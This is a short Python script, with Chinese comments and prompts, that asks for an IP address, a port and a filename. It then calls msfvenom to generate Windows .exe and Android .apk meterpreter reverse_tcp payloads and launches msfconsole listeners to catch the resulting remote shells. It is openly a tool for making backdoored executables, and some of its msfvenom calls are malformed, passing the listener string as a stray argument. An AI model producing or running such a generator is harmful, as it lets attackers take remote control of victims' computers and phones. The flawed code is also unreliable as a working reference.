logo = """
  _____          _              _____ _           _   _             
 |  __ \        (_)            / ____| |         | | (_)            
 | |__) | __ ___ _  ___ ___  | (___ | |_   _ ___| |_ _  ___  _ __  
 |  ___/ '__/ _ \ |/ __/ _ \  \___ \| | | | / __| __| |/ _ \| '_ \ 
 | |   | | |  __/ | (_|  __/  ____) | | |_| \__ \ |_| | (_) | | | |
 |_|   |_|  \___|_|\___\___| |_____/|_|\__,_|___/\__|_|\___/|_| |_|
"""

print(logo)

import os
import subprocess

def generate_exe(ip, port, filename):
    # 设置Metasploit的监听器
    msf_listener = "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST {}; set LPORT {}; exploit -j".format(ip, port)
    
    # 获取桌面路径
    desktop_path = os.path.join(os.path.expanduser('~'), 'Desktop')
    
    # 拼接完整的文件路径
    exe_file_path = os.path.join(desktop_path, filename + ".exe")
    
    # 使用msfvenom生成Payload并保存为EXE文件
    try:
        subprocess.call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "-f", "exe", "-o", exe_file_path, msf_listener])
        print("EXE文件生成成功！")
    except Exception as e:
        print("EXE文件生成失败：", str(e))
    
    # 启动Metasploit监听器
    start_listener(msf_listener)

def generate_apk(ip, port, filename):
    # 设置Metasploit的监听器
    msf_listener = "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST {}; set LPORT {}; exploit -j".format(ip, port)
    
    # 获取桌面路径
    desktop_path = os.path.join(os.path.expanduser('~'), 'Desktop')
    
    # 拼接完整的文件路径
    apk_file_path = os.path.join(desktop_path, filename + ".apk")
    
    # 使用msfvenom生成Payload并保存为APK文件
    try:
        subprocess.call(["msfvenom", "-p", "android/meterpreter/reverse_tcp", "--arch", "dalvik", "--platform", "android", "-o", apk_file_path, msf_listener])
        print("APK文件生成成功！")
    except Exception as e:
        print("APK文件生成失败：", str(e))
    
    # 启动Metasploit监听器
    start_listener(msf_listener)

def start_listener(msf_listener):
    # 启动Metasploit监听器
    try:
        subprocess.call(["msfconsole", "-q", "-x", msf_listener])
    except Exception as e:
        print("启动监听器失败：", str(e))

# 获取用户输入的IP地址、端口号和文件名称
ip_address = input("请输入IP地址: ")
port_number = input("请输入端口号: ")
file_name = input("请输入文件名称: ")

# 生成EXE文件并启动监听器
generate_exe(ip_address, port_number, file_name)

# 生成APK文件并启动监听器
generate_apk(ip_address, port_number, file_name)